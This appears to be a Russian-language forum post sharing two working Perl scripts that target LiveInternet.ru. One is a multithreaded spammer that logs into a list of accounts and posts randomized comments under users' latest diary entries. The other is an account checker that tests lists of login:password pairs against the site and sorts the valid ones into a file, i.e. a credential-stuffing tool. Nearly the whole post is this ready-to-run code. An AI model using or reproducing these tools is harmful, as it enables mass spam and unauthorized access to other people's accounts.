[LiveInternet.Ru] Спамер + Чекер

[SQL]

1.Описание: Спамер дневников пользователей данного сервиса.

Спам-сообщение скрипт оставляет в комментариях к последней записи в дневнике.

Спам-база составляется из id дневников. Чтение происходит из файла base.txt

Аккаунты для спама скрипт считывает из файла users.txt (собственно многопоточность). Вид аккаунтов в файле users.txt : account;password
Код:
Скопировать в буфер обмена
#!/usr/bin/perl

#-------------------------------
# LiveInternet.ru Spamer
# Coded by Ил-2
#-------------------------------

use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;
use threads;
use threads::shared;

my $subject = 'sp'; # Заголовок
my $message = 'am'; # Сообщение
#my $proxy = '1.1.1.1:1080'; # Прокси

open USERS, '<users.txt' || die "$!\n";
chomp (my @users : shared = <USERS>);
close USERS;

open BASE, '<base.txt' || die "$!\n";
chomp (my @base : shared = <BASE>);
close BASE;

threads->new(\&spam) for (0..$#users);
$_->join for threads->list;

sub spam {

my ($username, $password) = split /;/, shift @users;

my $useragent = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new;
$useragent->cookie_jar($cookies);
#$useragent -> proxy('socks', "http://$proxy") if ($proxy);

my $request = $useragent->post('http://www.liveinternet.ru/member.php',
{ action => 'login',
charset => 'utf',
username => $username,
password => $password})->as_string;


if ($request =~ /bbuserid/) {print "[+] Login $username\n";}
else {print "[-] Don't login $username\n";}

my ($comuserid) = $request =~ /bbuserid=([0-9]+);/;

while (1) {
my $journalid = shift @base;
return if (!$journalid);

$request = $useragent ->get('http://www.liveinternet.ru/users/'.$journalid)->as_string;
my ($jpostid) = $request =~ /journal\_editpost\.php\?jpostid=([0-9]+)\&/;

$request = $useragent ->post('http://www.liveinternet.ru/journal_addcomment.php',
Content_Type => 'multipart/form-data',
Content => [action => 'newcomment',
journalid => $journalid,
jpostid => $jpostid,
comuserid => $comuserid,
headerofpost => $subject . rand (1000),
message => $message . rand (1000),
parseurl => 'yes',
commentsubscribe => 'yes',
SPAW_message_editor_mode => 'html']);

print "[+] Posted\n";
sleep (1);
}
}

2.ли.ру чекер аккаунтов.
Чтение аккаунтов в формате account;password происходит из файла users.txt.

Код:
Скопировать в буфер обмена
#!/usr/bin/perl

#-------------------------------
# LiveInternet.ru Accounts Checker
# Coded by Ил-2
#-------------------------------

use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;
use threads;
use threads::shared;

#my $proxy = '127.0.0.0:1080'; # Прокси

open USERS, '<users.txt' || die "$!\n";
chomp (my @users : shared = <USERS>);
close USERS;
my $content = $#users;
@users = grep{!$_{$_}++} @users;

open GOOD, '>>good.txt';
open BAD, '>>bad.txt';

my $count_good : shared = 0;
my $count_bad : shared = 0;
my $dupl = $content - $#users;

threads->new(\&check) for (0..$#users);
$_->join for threads->list;

close GOOD;
close BAD;

print "Good: " . $count_good . "\n" . "Bad: " . $count_bad . "\n" . "Duplicates: " . $dupl . "\n";

sub check {

my ($username, $password) = split /;/, shift @users;

my $useragent = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new;
$useragent->cookie_jar($cookies);
#$useragent -> proxy('socks', "http://$proxy") if ($proxy);

my $request = $useragent->post('http://www.liveinternet.ru/member.php',
{ action => 'login',
charset => 'utf',
username => $username,
password => $password})->as_string;

if ($request =~ /bbuserid/) {print GOOD $username.';'.$password."\n"; $count_good++;return;}
else {print BAD $username.';'.$password."\n"; $count_bad++; return;}
}

(с) Coded By Ил-2 Ачат